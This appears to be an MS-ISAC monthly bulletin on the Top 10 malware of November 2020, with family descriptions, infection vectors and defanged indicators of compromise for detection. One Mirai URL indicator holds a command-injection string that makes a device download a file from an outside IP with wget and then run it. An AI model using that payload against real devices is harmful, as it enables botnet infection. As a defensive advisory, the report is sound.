Top 10 Malware November 2020

In November 2020, the MS-ISAC observed four malware (Dridex, Kovter, Mirai, and Qakbot) return to the Top 10, as well as two new variants (Ngioweb and Snugy). The Top 10 Malware variants composed 78% of Total Malware activity in November 2020, remaining consistent with October 2020. Over the coming months, it is likely Shlayer activity will decrease, but will highly likely continue its prevalence in the Top 10 Malware.

Top-10-Malware-Notifications-November 2020

In November 2020, malvertisement accounted for the greatest number of alerts. Malvertisement continues to be the top initial infection vector due to Shlayer. Shlayer returned to the Top 10 Malware after new evidence resulted in its reclassification as a Trojan Downloader, compared to an Adware Dropper. Activity levels for dropped increased, while activity for malspam and malvertisement fell. Although Shlayer activity continues to decrease, it is highly likely that malvertisement will remain the primary infection vector as the Shlayer campaign persists.

Top-10-Malware-Initial-Infection-Vectors-November-2020

Dropped – Malware delivered by other malware already on the system, an exploit kit, infected third-party software, or manually by a cyber threat actor. Gh0st, Mirai, Ngioweb, and Qakbot are the only malware being dropped.

Multiple – Malware that currently favors at least two vectors. Currently, ZeuS is the only malware utilizing multiple vectors. ZeuS is dropped by other malware, but it is also delivered via malvertisement.

Malspam – Unsolicited emails, which either direct users to malicious web sites or trick users into downloading or opening malware. Top 10 Malware using this technique include Agent Tesla, Dridex, Kovter, and Snugy.

Malvertisement – Malware introduced through malicious advertisements. Currently, Shlayer is the only Top 10 Malware using this technique.

Top 10 Malware and IOCs

Below are the Top 10 Malware ranked in order of prevalence. The respective Indicators of Compromise (IOCs) are provided to aid in detecting and preventing infections from these Top 10 Malware variants.

1. Shlayer

Shlayer is a downloader and dropper for MacOS malware. It is primarily distributed through malicious websites, hijacked domains, and malvertizing posing as a fake Adobe Flash updater.
All Shlayer domains follow the same pattern . Below area several examples of domains Shlayer uses.

Domains

api[.]interfacecache[.]com
api[.]scalableunit[.]com
api[.]typicalconfig[.]com
api[.]standartanalog[.]com
api[.]fieldenumerator[.]com
api[.]practicalsprint[.]com
api[.]searchwebsvc[.]com
api[.]connectedtask[.]com
api[.]navigationbuffer[.]com
api[.]windowtask[.]com

2. ZeuS

ZeuS is a modular banking trojan which uses keystroke logging to compromise victim credentials when the user visits a banking website. Since the release of the ZeuS source code in 2011, many other malware variants have adopted parts of it’s codebase, which means that events classified as ZeuS may actually be other malware using parts of the ZeuS code.

Domains

Opaopa[.]info
Edmontonjournal[.]com

IPs

8.208.90[.]18
163.172.61{.}158
185.244.217[.]126

URL

/gate[.]php
/index[.]php?image=pic1.png&mmcpw=C_Uahb8x81_oKUqzoMR5xjzrBD1wITOlGt4e
/index[.]php?image=pic1.png&punqqq=1w4vrLh7NI_hnnm5fIDzb0SgZQ3hpk9ZgtdIIdrf*0nm7mGXfRQiOJqp
/news/8101128[.]bin
/news/8101316[.]bin
/news/8101335[.]bin
/news/8101336[.]bin
/news/8101339[.]bin
/news/8101340[.]bin
/news/8101344[.]bin
/news/8107012[.]bin
/news/8107013[.]bin
/news/8107014[.]bin
/news/8107015[.]bin

3. Gh0st

Gh0st is a RAT used to control infected endpoints. Gh0st is dropped by other malware to create a backdoor into a device that allows an attacker to fully control the infected device.

4. Agent Tesla

Agent Tesla is a RAT that exfiltrates credentials, logs keystrokes, and captures screenshots from an infected computer.

5. Snugy

Snugy is a PowerShell-based backdoor that allows an attacker to obtain the system’s hostname and to run commands. This backdoor communicates through a DNS tunneling channel on the compromised server.

6. Ngioweb

Ngioweb is a proxy botnet that creates proxies on Linux hosts.

IPs

103.193.4[.]113

URL

Has either of the below followed by 21 random numbers/letters and ending with =

/min.js?h=aWQ9MDAwMDAwMDAwMDAwMDAwMCZ2PWFybXY0bCZzdj0yNzE3Jm
/min.js?h=aWQ9MDAwMDAwMDAwMDAwMDAwMCZ2PWFybXY1aiZzdj0yNzE3Jm
/min.js?h=aWQ9MDAwMDAwMDAwMDAwMDAwMCZ2PWFybXY1aiZzdj0yNzE3Jn

7. Kovter

Kovter is a fileless click fraud malware and a downloader that evades detection by hiding in registry keys. Reporting indicates that Kovter can have backdoor capabilities and uses hooks within certain APIs for persistence.

8. Dridex

Dridex is a banking trojan that uses malicious macros in Microsoft Office with either malicious embedded links or attachments. Dridex is disseminated via malspam campaigns.

Domains

Oneyearnovel[.]com

9. Qakbot

Qakbot is financial malware designed to target governments and businesses for financial fraud and known for its wormability on a network. Qakbot installs a keylogger to steal user credentials. It monitors network traffic, specifically traffic to online banking websites, and can piggyback on a user’s active banking session by intercepting authentication tokens. It is currently being dropped by Emotet.

Domains

futhead.cursecdn[.]com
image.coloryourcase[.]com

URL

/imgs/2020/111111.png
/imgs/2020/DVR-0912.jpg
/imgs/2020/Memory-Cards.jpg
/imgs/2020/shuitongjiao.jpg
/imgs/2020/tititi.jpg
/imgs/homepage/2019/100LED-1023-5.jpg
/imgs/homepage/2019/Adapter-0912.jpg
/static/img/10/clubs/243.png
/static/img/10/players/13038.png
/static/img/10/players/183430.png
/static/img/11/clubs/34.png
/static/img/12/nations/52.png
/static/img/12/players/155862.png
/static/img/13/nations/21.png
/static/img/14/clubs/99991.png
/static/img/14/nations/45.png
/static/img/14/players/wc/167495.png
/static/img/15/players/167495.png
/static/img/15/players/183430.png
/static/img/15/players/190790.png
/static/img/15/players/20801.png
/static/img/16/clubs/236.png
/static/img/16/players/121939.png
/static/img/16/players/153079.png
/static/img/16/players/155862.png
/static/img/17/players/158023.png
/static/img/17/players/9999999.png
/static/img/17/players_alt/p117562451.png
/static/img/17/players_alt/p151150806.png
/static/img/17/players_alt/p50487510.png

10. Mirai

Mirai is a malware botnet known to compromise internet of things (IoT) devices in order to conduct large-scale DDoS attacks. Mirai is dropped after an exploit has allowed the attacker to gain access to a machine.

Domains

cdn[.]liftoff[.]io

URL

/customers/4658fb8d67/images/v1/78cf84fdb7cfabbd8200[.]jpg
/customers/5a8e32ecee/images/v1/ecf1e61048[.]jpg
/customers/c4f77ab60c/images/v1/aa75cd2f99441664141a[.]jpg
/login.cgi?cli=aa%20aa%27;wget%20http://80.211.112[.]150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$
/lookup?bundleId=com[.]easybrain[.]puzzles